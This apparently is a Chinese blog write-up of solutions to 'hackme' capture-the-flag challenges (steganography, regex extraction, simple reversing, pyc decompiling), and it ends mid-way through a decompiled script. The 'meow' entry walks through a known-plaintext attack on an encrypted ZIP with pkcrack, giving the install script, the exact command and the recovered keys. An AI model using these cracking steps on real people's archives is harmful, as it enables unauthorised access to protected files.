hackme部分题解,随缘更新。

题目太多了,翻阅很不方便,所以将本文按分类拆成了几个部分,每个部分单独一篇文章。

MISC

001 flag

真·签到题

002 corgi can fly

img

用StegSolve打开

img

003 television

winhex打开,搜索FLAG即可。

我开始是搜索flag没搜到,所以暂时跳过了这题,哭唧唧

004 meow

meow

foremost拿到一个压缩包和一张图片。压缩包里也有一张图片,且crc相同。明文攻击

1572055806978

root@kali:~# cd ctf
root@kali:~/ctf# ls
meow.png
root@kali:~/ctf# foremost meow.png
Processing: meow.png
|foundat=meow/UT    
foundat=meow/flagUT    
*|
root@kali:~/ctf# mv ./output/png/00000000.png 00000000.png
root@kali:~/ctf# mv ./output/zip/00000094.zip 00000094.zip
root@kali:~/ctf# zip -r 00000000.zip 00000000.png
  adding: 00000000.png (deflated 0%)
root@kali:~/ctf# 

下面是安装pkcrack的脚本,脚本来源:记一道明文破解的漫长斗争史

#!/bin/bash -ex

wget https://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack/pkcrack-1.2.2.tar.gz
tar xzf pkcrack-1.2.2.tar.gz
cd pkcrack-1.2.2/src
make

mkdir -p ../../bin
cp extract findkey makekey pkcrack zipdecrypt ../../bin
cd ../../

新建pkcrack-install.sh,将上面的脚本写入此文件,如果提示没有权限,可以chmod +x pkcrack-install.sh

然后shell终端内./pkcrack-install.sh,运行脚本。

root@kali:~/tool# ./pkcrack-install.sh
./pkcrack-install.sh: line 1: !/bin/bash: No such file or directory
--2019-10-25 22:37:33--  https://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack/pkcrack-1.2.2.tar.gz
Resolving www.unix-ag.uni-kl.de (www.unix-ag.uni-kl.de)... 131.246.124.83, 2001:638:208:ef34:0:ff:fe00:83
Connecting to www.unix-ag.uni-kl.de (www.unix-ag.uni-kl.de)|131.246.124.83|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 174208 (170K) [application/x-gzip]
Saving to: ‘pkcrack-1.2.2.tar.gz’

pkcrack-1.2.2.tar.g 100%[===================>] 170.12K  3.04KB/s    in 56s     

2019-10-25 22:38:31 (3.04 KB/s) - ‘pkcrack-1.2.2.tar.gz’ saved [174208/174208]

gcc -O6 -Wall   -c -o crc.o crc.c
crc.c:24:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
 static char RCSID[]="$Id: crc.c,v 1.3 1997/09/18 18:07:24 lucifer Release1_2_1 $";
             ^~~~~
gcc -O6 -Wall   -c -o mktmptbl.o mktmptbl.c
mktmptbl.c: In function ‘preCompTemp’:
mktmptbl.c:58:5: warning: implicit declaration of function ‘memset’ [-Wimplicit-function-declaration]
     memset(numEntries, 0, sizeof(numEntries));
     ^~~~~~
mktmptbl.c:58:5: warning: incompatible implicit declaration of built-in function ‘memset’
mktmptbl.c:58:5: note: include ‘<string.h>’ or provide a declaration of ‘memset’
mktmptbl.c:47:1:
+#include <string.h>
 
mktmptbl.c:58:5:
     memset(numEntries, 0, sizeof(numEntries));
     ^~~~~~
mktmptbl.c: In function ‘initMulTab’:
mktmptbl.c:93:5: warning: incompatible implicit declaration of built-in function ‘memset’
     memset(mTab2Counter, 0, sizeof(mTab2Counter));
     ^~~~~~
mktmptbl.c:93:5: note: include ‘<string.h>’ or provide a declaration of ‘memset’
At top level:
mktmptbl.c:43:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
 static char RCSID[]="$Id: mktmptbl.c,v 1.9 2002/11/02 15:12:06 lucifer Exp $";
             ^~~~~
gcc -O6 -Wall   -c -o main.o main.c
main.c:131:6: warning: return type of ‘main’ is not ‘int’ [-Wmain]
 void main( int argc, char **argv )
      ^~~~
main.c:70:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
 static char RCSID[]="$Id: main.c,v 1.15 2002/11/12 16:58:02 lucifer Exp $";
             ^~~~~
main.c: In function ‘main’:
main.c:265:2: warning: ‘plain’ may be used uninitialized in this function [-Wmaybe-uninitialized]
  close( plain );
  ^~~~~~~~~~~~~~
main.c:267:2: warning: ‘crypt’ may be used uninitialized in this function [-Wmaybe-uninitialized]
  close( crypt );
  ^~~~~~~~~~~~~~
gcc -O6 -Wall   -c -o stage1.o stage1.c
stage1.c:41:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
 static char RCSID[]="$Id: stage1.c,v 1.8 2002/01/31 16:27:08 lucifer Exp $";
             ^~~~~
gcc -O6 -Wall   -c -o keystuff.o keystuff.c
keystuff.c:32:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
 static char RCSID[]="$Id: keystuff.c,v 1.5 2002/11/02 15:12:06 lucifer Exp $";
             ^~~~~
gcc -O6 -Wall   -c -o stage2.o stage2.c
stage2.c:56:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
 static char RCSID[]="$Id: stage2.c,v 1.16 2003/01/03 15:18:18 lucifer Exp $";
             ^~~~~
stage2.c: In function ‘recursion2’:
stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized]
          if( !hadIt || oldValue != newKey )
                        ~~~~~~~~~^~~~~~~~~
stage2.c: In function ‘buildKey2Lists’:
stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized]
          if( !hadIt || oldValue != newKey )
                        ~~~~~~~~~^~~~~~~~~
stage2.c:263:48: note: ‘oldValue’ was declared here
 uword key2j, key2iminus1, key2iminus2, newKey, oldValue;
                                                ^~~~~~~~
stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized]
          if( !hadIt || oldValue != newKey )
                        ~~~~~~~~~^~~~~~~~~
stage2.c:263:48: note: ‘oldValue’ was declared here
 uword key2j, key2iminus1, key2iminus2, newKey, oldValue;
                                                ^~~~~~~~
stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized]
          if( !hadIt || oldValue != newKey )
                        ~~~~~~~~~^~~~~~~~~
stage2.c:263:48: note: ‘oldValue’ was declared here
 uword key2j, key2iminus1, key2iminus2, newKey, oldValue;
                                                ^~~~~~~~
stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized]
          if( !hadIt || oldValue != newKey )
                        ~~~~~~~~~^~~~~~~~~
stage2.c:263:48: note: ‘oldValue’ was declared here
 uword key2j, key2iminus1, key2iminus2, newKey, oldValue;
                                                ^~~~~~~~
stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized]
          if( !hadIt || oldValue != newKey )
                        ~~~~~~~~~^~~~~~~~~
stage2.c:263:48: note: ‘oldValue’ was declared here
 uword key2j, key2iminus1, key2iminus2, newKey, oldValue;
                                                ^~~~~~~~
stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized]
          if( !hadIt || oldValue != newKey )
                        ~~~~~~~~~^~~~~~~~~
stage2.c:263:48: note: ‘oldValue’ was declared here
 uword key2j, key2iminus1, key2iminus2, newKey, oldValue;
                                                ^~~~~~~~
gcc -O6 -Wall   -c -o stage3.o stage3.c
stage3.c:51:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
 static char RCSID[]="$Id: stage3.c,v 1.10 2002/12/30 18:27:25 lucifer Exp $";
             ^~~~~
gcc -O6 -Wall   -c -o exfunc.o exfunc.c
exfunc.c:48:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
 static char RCSID[]="$Id: exfunc.c,v 1.9 2003/01/05 14:40:37 lucifer Exp $";
             ^~~~~
gcc -O6 -Wall   -c -o readhead.o readhead.c
readhead.c: In function ‘read_local’:
readhead.c:318:21: warning: unused variable ‘sig’ [-Wunused-variable]
       unsigned long sig;
                     ^~~
At top level:
readhead.c:71:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
 static char RCSID[]="$Id: readhead.c,v 1.13 2003/01/05 14:40:37 lucifer Exp $";
             ^~~~~
gcc -O6 -Wall   -c -o writehead.o writehead.c
writehead.c: In function ‘write_sig’:
writehead.c:64:52: warning: format ‘%lx’ expects argument of type ‘long unsigned int’, but argument 3 has type ‘int’ [-Wformat=]
   fprintf( stderr, "Write unknown signature: 0x%08lx\n", sigType );
                                                ~~~~^     ~~~~~~~
                                                %08x
At top level:
writehead.c:33:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
 static char RCSID[]="$Id: writehead.c,v 1.4 2003/01/05 14:40:37 lucifer Exp $";
             ^~~~~
gcc -O6 -Wall   -c -o zipdecrypt.o zipdecrypt.c
zipdecrypt.c: In function ‘zipdecrypt’:
zipdecrypt.c:244:47: warning: comparison of constant ‘0’ with boolean expression is always false [-Wbool-compare]
                 err = (!read_ddesc(infile, 0) < 0);
                                               ^
zipdecrypt.c:244:47: warning: logical not is only applied to the left hand side of comparison [-Wlogical-not-parentheses]
zipdecrypt.c:244:24: note: add parentheses around left hand side expression to silence this warning
                 err = (!read_ddesc(infile, 0) < 0);
                        ^~~~~~~~~~~~~~~~~~~~~~
                        (                     )
At top level:
zipdecrypt.c:76:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
 static char RCSID[]="$Id: zipdecrypt.c,v 1.16 2003/01/05 14:40:37 lucifer Exp $";
             ^~~~~
gcc -O6 -Wall   -c -o debug.o debug.c
debug.c:17:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
 static char RCSID[]="$Id: debug.c,v 1.2 2002/01/30 15:25:26 lucifer Exp $";
             ^~~~~
gcc -o pkcrack -O6 -Wall crc.o mktmptbl.o main.o stage1.o keystuff.o stage2.o stage3.o exfunc.o readhead.o writehead.o zipdecrypt.o debug.o
gcc -O6 -Wall   -c -o zdmain.o zdmain.c
zdmain.c:38:6: warning: return type of ‘main’ is not ‘int’ [-Wmain]
 void main( int argc, char **argv )
      ^~~~
zdmain.c:28:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
 static char RCSID[]="$Id: zdmain.c,v 1.4 2002/12/28 17:01:42 lucifer Exp $";
             ^~~~~
gcc -o zipdecrypt -O6 -Wall zdmain.o zipdecrypt.o crc.o keystuff.o writehead.o readhead.o
gcc -O6 -Wall   -c -o findkey.o findkey.c
findkey.c:59:6: warning: return type of ‘main’ is not ‘int’ [-Wmain]
 void main( int argc, char **argv )
      ^~~~
findkey.c:48:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
 static char RCSID[]="$Id: findkey.c,v 1.6 2002/11/02 15:12:06 lucifer Exp $";
             ^~~~~
gcc -o findkey -O6 -Wall findkey.o crc.o stage3.o keystuff.o mktmptbl.o 
gcc -O6 -Wall   -c -o extract.o extract.c
extract.c:93:6: warning: return type of ‘main’ is not ‘int’ [-Wmain]
 void main(int argc, char *argv[])
      ^~~~
extract.c:76:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
 static char RCSID[]="$Id: extract.c,v 1.12 2002/12/28 16:09:59 lucifer Exp $";
             ^~~~~
gcc -o extract -O6 -Wall extract.o exfunc.o readhead.o
gcc -O6 -Wall   -c -o makekey.o makekey.c
makekey.c: In function ‘usage’:
makekey.c:24:5: warning: implicit declaration of function ‘exit’ [-Wimplicit-function-declaration]
     exit( 1 );
     ^~~~
makekey.c:24:5: warning: incompatible implicit declaration of built-in function ‘exit’
makekey.c:24:5: note: include ‘<stdlib.h>’ or provide a declaration of ‘exit’
makekey.c:18:1:
+#include <stdlib.h>
 
makekey.c:24:5:
     exit( 1 );
     ^~~~
makekey.c: At top level:
makekey.c:27:6: warning: return type of ‘main’ is not ‘int’ [-Wmain]
 void main( int argc, char **argv )
      ^~~~
makekey.c:19:13: warning: ‘RCSID’ defined but not used [-Wunused-variable]
 static char RCSID[]="$Id: makekey.c,v 1.1 1997/02/15 09:44:44 lucifer Release1_2_1 $";
             ^~~~~
gcc -o makekey -O6 -Wall makekey.o crc.o keystuff.o

很多报错,但是我测试时发现并没有影响正常使用。

上面的脚本把extract findkey makekey pkcrack zipdecrypt这几个工具copy到了bin文件夹(我的脚本在/root/tool,所以在/root/tool/bin)

为了可以直接在终端中使用,而不是每次使用都去相应的文件夹,我们将/root/tool/bin(这是我的路径,请换成你的)添加进环境变量。这里我们为所有用户添加永久的环境变量。

vim /etc/profile

在文件的末尾添加一句:export PATH="$PATH:/root/tool/bin"

1572058361860

保存后在终端键入source /etc/profile

然后重启。不重启的话,改动仅对当前终端窗口有效。

参考:Linux环境变量总结linux 环境变量设置(临时 + 永久)

此时,在终端内可以直接使用pkcrack。

1572058548490

pkcrack参数(部分)

-C:要破解的目标文件(含路径)
-c:破解文件中的明文文件的名字(其路径不包括系统路径,从zip文件一层开始)
-P:压缩后的明文文件
-p:压缩的明文文件中明文文件的名字(也就是readme.txt在readme.zip中的位置)
-d:指定文件名及所在的绝对路径,将解密后的zip文件输出

root@kali:~/ctf# pkcrack -C 00000094.zip -c meow/t39.1997-6/p296x100/10173502_279586372215628_1950740854_n.png -P 00000000.zip -p 00000000.png -d flag.zip
Files read. Starting stage 1 on Fri Oct 25 23:01:00 2019
Generating 1st generation of possible key2_48403 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Lowest number: 980 values at offset 42158
Lowest number: 944 values at offset 42142
Lowest number: 911 values at offset 42114
Lowest number: 874 values at offset 42108
Lowest number: 848 values at offset 42099
Lowest number: 834 values at offset 42096
Lowest number: 833 values at offset 42095
Lowest number: 824 values at offset 42083
Lowest number: 786 values at offset 42082
Lowest number: 776 values at offset 42078
Lowest number: 721 values at offset 42073
Lowest number: 701 values at offset 42063
Lowest number: 678 values at offset 41929
Lowest number: 672 values at offset 41883
Lowest number: 663 values at offset 41882
Lowest number: 612 values at offset 41693
Lowest number: 548 values at offset 41691
Lowest number: 546 values at offset 41357
Lowest number: 521 values at offset 41347
Lowest number: 482 values at offset 41186
Lowest number: 426 values at offset 41048
Lowest number: 413 values at offset 41013
Lowest number: 390 values at offset 41012
Lowest number: 374 values at offset 41006
Lowest number: 371 values at offset 41004
Lowest number: 335 values at offset 41003
Lowest number: 311 values at offset 29709
Lowest number: 284 values at offset 29706
Lowest number: 266 values at offset 29705
Lowest number: 263 values at offset 29703
Lowest number: 260 values at offset 29702
Lowest number: 240 values at offset 29701
Lowest number: 221 values at offset 29683
Lowest number: 211 values at offset 13941
Lowest number: 206 values at offset 13934
Lowest number: 194 values at offset 13933
Lowest number: 178 values at offset 13932
Lowest number: 169 values at offset 13928
Lowest number: 166 values at offset 12839
Lowest number: 156 values at offset 12837
Lowest number: 132 values at offset 12836
Lowest number: 131 values at offset 12832
Lowest number: 114 values at offset 12830
Lowest number: 102 values at offset 12829
Lowest number: 99 values at offset 12816
Done. Left with 99 possible Values. bestOffset is 12816.
Stage 1 completed. Starting stage 2 on Fri Oct 25 23:01:17 2019
Ta-daaaaa! key0=f2a88f48, key1=bcd2cae4, key2=bd86e3f7
Probabilistic test succeeded for 35592 bytes.
Ta-daaaaa! key0=f2a88f48, key1=bcd2cae4, key2=bd86e3f7
Probabilistic test succeeded for 35592 bytes.
Ta-daaaaa! key0=f2a88f48, key1=bcd2cae4, key2=bd86e3f7
Probabilistic test succeeded for 35592 bytes.
Ta-daaaaa! key0=f2a88f48, key1=bcd2cae4, key2=bd86e3f7
Probabilistic test succeeded for 35592 bytes.
Stage 2 completed. Starting zipdecrypt on Fri Oct 25 23:01:18 2019
Decrypting meow/flag (7ca54613495f8d895211c482)... OK!
Decrypting meow/t39.1997-6/p296x100/10173502_279586372215628_1950740854_n.png (7cc69c9de15dc6a6f74f602f)... OK!
Finished on Fri Oct 25 23:01:18 2019
root@kali:~/ctf# 

flag.zip就是消去密码的压缩包,打开

1572059049650

踩坑

开始时如图进行压缩

1572059374314

1572059396984

得到得压缩包中得crc也是相同的,但是使用pkcrack的时候,错误如下:

root@kali:~/ctf# pkcrack -C 00000094.zip -c meow/t39.1997-6/p296x100/10173502_279586372215628_1950740854_n.png -P 00000000.zip -p 00000000.png -d flag.zip
Error reading ZIP file: Success

卡了很久,后来使用内置zip压缩命令zip -r 00000000.zip 00000000.png,这才成功明文攻击。

对比一下两种方式得到的压缩包,发现十六进制数据并不相同。所以说,不同的压缩方式(软件),即使目标压缩类型相同,得到的数据也未必相同。

别人的踩坑记录:记一道明文破解的漫长斗争史

005 where is flag

打开后发现是海量的flag字符串的变形。题目描述中提示正则表达式

import re
with open('flag')as f:
    t = f.read()
flag = re.findall(r'FLAG{[a-zA-Z0-9 ]+?}', t)
for i in flag:
    print(i)

FLAG{VizQLeu9M3aybJBA3f1AgFROGyuTLXZ2oeRbKf1Agf1AgFLAG9hBTI}

开始时规则设置为r'FLAG{.+?}',提取出很多flag,所以加强了规则

008 pusheen.txt

很容易猜测两个图像分别代表0和1

import re
with open('pusheen.txt','r',encoding='utf-8')as f:
    s = f.read()
a = '''   ▐▀▄       ▄▀▌   ▄▄▄▄▄▄▄
   ▌  ▀▄▄▄▄▄▀  ▐▄▀▀ ██ ██ ▀▀▄
  ▐    ▀ ▀ ▀                 ▀▄
  ▌               ▄            ▀▄
▀█   █▌  █  ▐█   ▀               ▌
▀▌      ▀ ▀      ▀▀              ▐   ▄▄
▐                                 ▌▄█ █
▐                                 █ █▀
▐                                 █▀
▐                                 ▌
 ▌                               ▐
 ▐                               ▌
  ▌                             ▐
  ▐▄                           ▄▌
    ▀▄▄▀▀▀▀▀▄▄▀▀▀▀▀▀▀▄▄▀▀▀▀▀▄▄▀
'''
b = '''   ▐▀▄       ▄▀▌   ▄▄▄▄▄▄▄
   ▌▒▒▀▄▄▄▄▄▀▒▒▐▄▀▀▒██▒██▒▀▀▄
  ▐▒▒▒▒▀▒▀▒▀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▀▄
  ▌▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▄▒▒▒▒▒▒▒▒▒▒▒▒▀▄
▀█▒▒▒█▌▒▒█▒▒▐█▒▒▒▀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▌
▀▌▒▒▒▒▒▒▀▒▀▒▒▒▒▒▒▀▀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▐   ▄▄
▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▌▄█▒█
▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒█▒█▀
▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒█▀
▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▌
 ▌▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▐
 ▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▌
  ▌▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▐
  ▐▄▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▄▌
    ▀▄▄▀▀▀▀▀▄▄▀▀▀▀▀▀▀▄▄▀▀▀▀▀▄▄▀
'''
s = s.replace(a,'0').replace(b,'1').replace('\n','')
print(s)

输出为010001100100110001000001010001110111101101010000011101010111001101101000011001010110010101101110001000000100111101001001010011110100111101001111010010010100100101001111010011110100100101001111010011110100100101001001010011110100111101001111010010010100111101001111010011110100111101001111010010010100111101001001010011110100111101001111010010010100100101001001001000000100001101110101011101000110010101111101

img

转换成十六进制,再转换成字符串

img

099 easy pdf

kali下使用pdftohtml将pdf文件转换为html,隐藏在pdf文件中的flag就在html中显示出来了

img

不指定html的名字则默认pdf的文件名

img

100 this is a pen

方法同上

img

FLAG{Image behind another image. LoL}

WEB

015 hide and seek

查看源代码

逆向

041 helloworld

要求输入一个数。

img

ida打开后很容易知道。

img

img

最简单的签到题

042 simple

img

"UIJT.JT.ZPVS.GMBH"字符分别减一即可

s = 'UIJT.JT.ZPVS.GMBH'
for i in s:
    print(chr(ord(i)-1),end='')

043passthis

不要直接运行,火绒会报毒,关闭火绒后再运行,电脑直接黑屏。

img

主逻辑就是判断数据库字符串与输入字符串异或值是否为135。(46行)

将byte_404040处的数据复制,通过winhex生成文件。

with open('11.txt','rb')as f:    #二进制读入
    s = f.read()
print(s)
for i in s:
    print(chr(i^135),end='')

顺便说一下_bittest(*a, b),检查地址a中,第b位的值是0还是1。注意到b的值从0开始取。

https://docs.microsoft.com/en-us/cpp/intrinsics/bittest-bittest64?view=vs-2019

https://www.cnblogs.com/aquar/archive/2009/11/08/3451517.html

044 pyyy

直接运行pyc,没运行成功

img

然后在线反编译,但是拿到的py代码不是很理想。然后使用uncompyle6反编译的。

pip install uncompyle6
uncompyle6 D:\桌面\pyyy.pyc > D:\桌面\123123.py

拿到代码

__import__('sys').setrecursionlimit(1048576)
data = 'Tt1PJbKTTP+nCqHvVwojv9K8AmPWx1q1UCC7yAxMRIpddAlH+oIHgTET7KHS1SIZshfo2DOu8dUt6wORBvNVBpUSsuHa0S78KG+SCQtB2lr4c1RPbMf0nR9SeSm1ptEY37y310SJMY28u6m4Y44qniGTi39ToHRTyxwsbHVuEjf480eeYAfSVvpWvS8Oy2bjvy0QMVEMSkyJ9p1QlGgyg3mUnNCpSb96VgCaUe4aFu4YbOnOV3HUgYcgXs7IcCELyUeUci7mN8HSvNc93sST6mKl5SDryngxuURkmqLB3azioL6MLWZTg69j6dflQIhr8RvOLNwRURYRKa1g7CKkmhN4RytXn4nyK2UM/SoR+ntja1scBJTUo0I31x1wBJpT4HjDN47FLQWIkRW+2wnB3eEwO5+uSiQpzA8VaH7VGRrlU/BFW4GqbaepzKPLdXQFBkNyBKzqzR/zA2GIrYbLIVScWJ19DqJCOyVLGeVIVXyzN1y327orYL2Ee3lRITnE3FouicRStaznIcw8xmxvukwVMRZIJ/vTu8Zc1WQIYEIFXMHozGuvzZgROZTyFihWNRCBBtoP9DJJALJb0pA1IKIb2zLh+pwGF40Y6y93D6weKejGPO+A0DBXH9vuLcCcCIvr/XPQhO3jLKCBN+h9unuJKW3dyWxyaVPdR2V+BTw10VXolo7yaTH1GbR4TiVSB308mBOMwfchwihEe7RdMXvmXgaGarKkJe0NLUCd8jwhYII+WymjxO/xOz/ppOvNfAyIQksW0sggRPQTlgXSZ7MIVA1h66sGNljJ833MoFzWof3azLabaz1OrAJFqYXBg/myDsy1tV6rULSQ82hVR/TNnSmBGvyEDJTrLSwHyj78NOrW4mUnlLGBnAgWfw6pW2lRK2jkNX9NM6DfLsRK8lwl85UP8CZSuNdcLmLwHTVMZGm/cNkZCtWRBlZqEggxGdIO44D+f4y6ysnAk5/QzEwjIuecxEOb0jyV6dFui8g0c3Oxlhzcli0X8ToJFyeQRv1N9nokYZ07tFlG6m18kCToKz1qiH1U7kljXa6SvdORur5dWYLQ//gwhwppe7JlNda/cEoh92h96wRZDv1dSK/f1vz+mUeUyUlFY0iMjfw5eBXWZppNZi3ZtJcq5kllM2ACVFcxQWI3azM3ArOcqjosoiPjNoDYgKh7w4k2Cd0kLYEHscz/njtJ1KEcwLtqs4nJ+gB2r4V9g03YgvY5E8JJtfJMKdaTedjtvEuif8FNlCK9DMnL1iLpWptJbdfO83Y7Y46XCqjZFBI5o9Qtb78nLhMEM5/YTaNOM/wE/oJl5HI/i1X6kW3PKCsVubRkOkc2xawl6NYdLETjLvmrGhhI'
a = 138429774382724799266162638867586769792748493609302140496533867008095173455879947894779596310639574974753192434052788523153034589364467968354251594963074151184337695885797721664543377136576728391441971163150867881230659356864392306243566560400813331657921013491282868612767612765572674016169587707802180184907L
b = 166973306488837616386657525560867472072892600582336170876582087259745204609621953127155704341986656998388476384268944991674622137321564169015892277394676111821625785660520124854949115848029992901570017003426516060587542151508457828993393269285811192061921777841414081024007246548176106270807755753959299347499L
c = 139406975904616010993781070968929386959137770161716276206009304788138064464003872600873092175794194742278065731836036319691820923110824297438873852431436552084682500678960815829913952504299121961851611486307770895268480972697776808108762998982519628673363727353417882436601914441385329576073198101416778820619L
d = 120247815040203971878156401336064195859617475109255488973983177090503841094270099798091750950310387020985631462241773194856928204176366565203099326711551950860726971729471331094591029476222036323301387584932169743858328653144427714133805588252752063520123349229781762269259290641902996030408389845608487018053L
e = 104267926052681232399022097693567945566792104266393042997592419084595590842792587289837162127972340402399483206179123720857893336658554734721858861632513815134558092263747423069663471743032485002524258053046479965386191422139115548526476836214275044776929064607168983831792995196973781849976905066967868513707L
F = (a, b, c, d, e)
m = 8804961678093749244362737710317041066205860704668932527558424153061050650933657852195829452594083176433024286784373401822915616916582813941258471733233011L
g = 67051725181167609293818569777421162357707866659797065037224862389521658445401L
z = []
for i, f in enumerate(F):
    n = pow(f, m, g)
    this_is = 'Y-Combinator'
    l = (lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))(lambda f: lambda x: 1 if x < 2 else f(x - 1) * x % n)(g % 27777)
    c = raw_input('Channenge #%d:' % i)
    if int(c) != l:
        print 'Wrong~'
        exit()
    z.append(l)

z.sort()
gg = '(flaSg\'7 \\h#GiQwt~66\x0csxCN]4sT{? Zx YCf6S>|~`\x0c$/}\'\r:4DjJFvm]([sP%FMY"@=YS;CQ7T#zx42#$S_j0\\Lu^N31=r\x0b\t\tjVhhb_KM$|6]\nl!:V\rx8P[0m ;ho_\rR(0/~9HgE8!ec*AsGd[e|2&h!}GLGt\'=$\x0cbKFMnbez-q\\`I~];@$y#bj9K0xmI2#8 sl^gBNL@fUL\x0b\\9Ohf]c>Vj/>rnWXgLP#<+4$BG@,\'n a_7C:-}f(WO8Y\x0c2|(nTP!\'\\>^\'}-7+AwBV!w7KUq4Qpg\tf.}Z7_!m+ypy=`3#\\=?9B4=?^}&\'~ Z@OH8\n0=6\x0b\tv\nl!G\'y4dQW5!~g~I*f"rz1{qQH{G9\x0c\'b\x0cp\x0bdu!2/\\@i4eG"If0A{-)N=6GMC<U5/ds\rG&z>P1\nsq=5>dFZUWtjv\tX~^?9?Irwx\\5A!32N\x0bcVkx!f)sVY Men\x0c\'ujN<"LJ\x0c5R4"\\\\XPVA\'m$~tj)Br}C}&kX2<|\np3XtaHB.P\'(E 4$dm!uDyC%u ["x[VYw=1aDJ (8V/a!J?`_r:n7J88!a25AZ]#,ab?{%e\x0b]wN_}*Q:mh>@]u\t&6:Z*Fmr?U`cOHbAf7s@&5~L ,\tQ18 -Hg q2nz%\x0ccUm=dz&h1(ozoZ)mrA=`HKo\n\'rXm}Z-l3]WgN\\NW<{o=)[V({7<N1.-A8S"=;3sderb\tOZ$K\r0o/5\x0bMc76EGCWJ3IQpr7!QhbgzX8uGe3<w-g\'/j\'\tM4|9l?i&tm_\n57X0B2rOpuB@H@%L_\r)&/q=LZa(%}""#if#Kq74xK?`jGFOn"8&^3Q-\r#]E$=!b^In0:$4VKPXP0UK=IK)Y\rstOT40=?DyHor8j7O\\r/~ncJ5];cCT)c?OS0EM5m#V(-%"Tu:!UsE],0Dp  s@HErS]J{%oH54B&(zE.(@5#2k\tJnNlnUEij\\.q/3HBpJNk*X(k5;DlqK\'\'fX\r}EBk_7\x0b:>8~\t+M@WJx.PO({/U}1}#TqjreG\nN{\rX>4EsJr0Pn\\Z\\aL/-U<<{,Q;j\tF=7f\')+wH:p{G=_.s\\t-\x0bI\x0c*y\t1P:Y|/2xE<uo]~$>5k]FW+>fR<QA"(Fj[LL(hzfQo#PJ;:*0kB~3]9uL[o.xue:VQ\t;9-Tu\tq|mzzhV_okP\t,d\rQ`]5Gf\x0c#gXB\x0cAH|)NI|K=KW-&p-<b"3e.rO\x0cuK=\x0c^\r+MuLxCJ`UKaD\x0bBH&n+YVajZ(U7pwWtto3T10VLHwSJ\rK\t}\'F$l1:b2Bd\na=#t0iq}#!{1_)w$}<Dp(borC\'\t?r6;,+k;a(Q3@B?RCWYEDrjZe![x=n_%S]rl{&fLr*mgCD;92/nNsaxKy/;\nr]sPK=`+YP>MmfB\n8O4/"}nE7r*=41f2\t37>K\'s$wpl;qS[`qzu\x0b\t\nuaU|b,C`4& dRN~]7DnuTb2FhNHV!#Z2Hho\x0b[%.{O\t$q0\x0ch_@?w@b8[I^{JL|O8]i8{p)A.w)14qK3JoyF%licZ~ga\rW[L:W\rtIvfWJjZUOvB\rS.Beav3!-@bw|PexJ Pcw1\ry6!63B}]J])6fak/3r]W\tMeXt[uc(1_U lys{a1X\r%)[wwP3rhgNW{*d~_E%Q2htCt5ha@l0^0=\x0bwT\ni4/V;_\nM1rb?w~Q)Dli4u\n`}1+D8"\t`@V~$9l$Uy**VnI (@Ga0<RxfmoNgJTtE-aLH\rE5fMy7rk$)V\rL2Fv/AivOa"\nuX|70Xrw^D]%i%JyT\x0cc%cwZ/Wbp=IiY;/@nFEe>3=tM;K*`fReGoc5V/Ri?nXZ-RW)\'\t<\x0cV>@X@-Ei4%sO%},B_pjc`s"@oKCmdgDhjUZT@?mb\'?Q:F\x0bLJkPgjaFAc=rbrjAz$Zz\x0cq0GU!")xFOEF(x!3M\t:l83|}}HgGJJ#eT/I\x0b[|lK_n+;Wi/N^B4LzL.a(gVWq,zO6\'S|tb>RX` ca*CO<w\x0ci =wc1,M~\x0bc`FYEs\r){+Ll8[I9-88m\t\\iK/\\hno-C[vX*3Hx:%:K\rt\x0cW!tj\'SOhqxP|k7cw Hm?I@?P\'HmapG7$0#T(Auz]sjmd#\rFP/}53@-Kvmi(d%dZKLZ2LK\'e_E\x0bQmR 5/(irq4-EUyp<hB?[\tnU:p*xuzASM'
